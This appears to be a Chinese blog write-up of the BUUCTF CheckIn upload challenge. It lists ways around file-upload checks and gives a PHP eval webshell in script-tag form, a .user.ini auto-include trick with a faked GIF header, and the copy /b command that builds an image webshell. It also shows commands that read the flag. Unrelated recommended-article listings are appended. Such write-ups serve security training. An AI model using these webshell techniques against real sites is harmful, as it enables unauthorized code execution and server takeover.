文件上传
文件上传一般验证方式:
1.本地js验证(客户端)
2.MIME验证(服务端)
3.拓展名验证(服务端)
4.脚本内容(文件头)验证(服务端)
通常会用到exif_imagetype()函数,这个函数会读取图片头并返回一个数组
绕过方法:
1.本地js验证
方法很多,直接f12删除限制的代码再提交表单
2.mime验证
抓包修改content-type的内容就行了 一般这个验证对应得验证代码如下
$_FILES['upfile']['type'] == 'image/gif' //png、jpg.....
3.拓展名验证
多找一些,尝试找到有没有服务器漏掉得,比如php5,php7
大小写看能否能绕过
0x00绕过
4.文件头验证
修改文件头
JPG :FF D8 FF E0 00 10 4A 46 49 46 //参考文章https://blog.csdn.net/weixin_44077544/article/details/102688564
PNG: 89 50 4E 47 //参考文章https://blog.csdn.net/weixin_44077544/article/details/102688564
GIF(相当于文本的GIF89a):47 49 46 38 39 61 //参考文章https://blog.csdn.net/weixin_44077544/article/details/102688564
上传图片马
###但注意一个问题,上传图片马直接访问还是不能执行代码,因为根本不会调用php解析器去解析,一般要配合文件包含漏洞,或者是解析漏洞
##文件上传漏洞一般会和解析漏洞相结合,比如iis6.0就有一个漏洞会把.cer文件当作php执行,这种类似得解析漏洞可以在网上寻找

参考一片文件上传得绕过博客:
https://blog.csdn.net/ncafei/article/details/53401961

回到这道题:
随手丢一张图片,发现返回一串数组

可以猜测这里采用得是文件头验证,可以制作图片马绕过。

但是,图片马需要配合解析漏洞或者是文件包含漏洞,这里用到.uesr.ini配置文件制造了一个文件漏洞 //这道题没有限制 相似漏洞还有apache得.htaccess文件修改解析规则
https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html
推荐这个文章,里面讲到怎么利用

上传.user.ini文件  ##但是注意这里需要伪造文件头

上传一句话图片木马 

第一次一句话我写得<?php @eval($_POST['a'])?>

发现 <?被过滤 ,这里只需要还一句话就行了  <script language="php">eval($_POST['a']);</script>

//图片转载 kk师傅 https://www.yuque.com/kkdlong/arhmr1/rv2kpf#MjehS

上传后上传图片马 制作方法

cmd copy /b 1.jpg+1.txt test.jpg  //注意图片名要和user.ini里面得文件名相同

然后上传

然后直接菜刀连接拿到答案

或者直接输入命令 post a=var_dump(scandir("/"));

a=var_dump(file_get_contents("/flag"));

BUUCTF--checkin的更多相关文章

  1. BUUCTF | [SUCTF 2019]CheckIn

    感觉这题师傅们已经写得很详细了,我就做一个思路梳理吧,顺道学一波.user.ini 步骤: 1.上传一个“.user.ini”文件 2.上传自己的马“a.jpg” 3.菜刀连接 "http: ...

  2. BUUCTF 部分wp

    目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...

  3. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  4. BUUCTF Crypto_WP(2)

    BUUCTF Crypto WP 几道密码学wp [GXYCTF2019]CheckIn 知识点:Base64,rot47 下载文件后,发现一个txt文件,打开发现一串base64,界面之后出现一串乱 ...

  5. 奇葩问题:This file could not be checked in because the original version of the file on the server was moved or deleted. A new version of this file has been saved to the server, but your check-in comments were not saved

    "This file could not be checked in because the original version of the file on the server was m ...

  6. 持续集成之戏说Check-in Dance

    尽管Thoughtworks的首席科学家Martion folwer 为“持续集成 ” 下了定义,但由于自身背景与经历的不同,每个人对其都有不同的理解.从狭义上讲,持续集成可以认为是一种基于某种或者某 ...

  7. TFS二次开发06——签入(CheckIn)

    一个Item 就是一个文件或文件夹 using Microsoft.TeamFoundation.Client; using Microsoft.TeamFoundation.VersionContr ...

  8. 持续集成之戏说Check-in Dance(转)

    add by zhj: 先说一下持续集成的定义,这是ThoughtWorks首席科学家Martin Fowler在<持续集成>第二版中给出的,“持续集成是一种软件开发实践.在持续集成中,团 ...

  9. because its MIME type ('text/html') is not a supported stylesheet MIME type, and strict MIME checkin

    1 前言 浏览器报错误(chrome和firefox都会):because its MIME type ('text/html') is not a supported stylesheet MIME ...

  10. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

随机推荐

  1. docker容器跨服务器的迁移的方法

    docker的备份方式有export和save两种. export是当前的状态,针对的是容器,docker save 是针对镜像images. export 找出要备份容器的ID ? 1 2 3 [r ...

  2. 震惊,用了这么多年的 CPU 利用率,其实是错的

    导读:本文翻译自 Brendan Gregg 去年的一片博客文章 "CPU Utilization is Wrong",从标题就能想到这篇文章将会引起争议.文章一上来就说,我们&q ...

  3. unbuntu更换软件源

    编辑/etc/apt/sources.list文件,将文件中原有的国外源全部注释掉,文件头添加以下内容 ##中科大源 deb https://mirrors.ustc.edu.cn/ubuntu/ b ...

  4. 基于Spark.NET和ML.NET Automated ML (自动学习)进行餐厅等级的检查预测

    简介 Apache Spark是一个开源.分布式.通用的分析引擎.多年来,它一直是大数据生态系统中对大型数据集进行批量和实时处理的主要工具.尽管对该平台的本地支持仅限于JVM语言集,但其他通常用于数据 ...

  5. Go命令行库Cobra的核心文件root.go

    因为docker及Kubernetes都在用cobra库,所以记录一下. 自定义的地方,高红标出. root.go /* Copyright © 2019 NAME HERE <EMAIL AD ...

  6. 面试必备的13道可以举一反三的Vue面试题

    Vue框架部分我们会涉及一些高频且有一定探讨价值的面试题,我们不会涉及一些非常初级的在官方文档就能查看的纯记忆性质的面试题,比如: *   vue常用的修饰符? *   vue-cli 工程常用的 n ...

  7. [转] 构建Docker镜像两种方式的比较-Dockerfile方式和S2I方式

    原文地址:https://www.cnblogs.com/tianshifu/p/8127837.html 前言 写Dockerfile是构建Docker镜像最通常的方式,接触过Docker的童鞋多少 ...

  8. [C7] Andrew Ng - Sequence Models

    About this Course This course will teach you how to build models for natural language, audio, and ot ...

  9. git报错_you are not allowed to push code to protected branches on this project

    问题描述 今天在提交代码的时候,由于使用的是新库,写完代码后,进行push,发现报错 you are not allowed to push code to protected branches on ...

  10. MySQL SQL DLL (数据定义语言)

    CREATE CREATE DATABASE CREATE DATABASE 用于创建数据库 CREATE DATABASE new_database_name; CREATE TABLE CREAT ...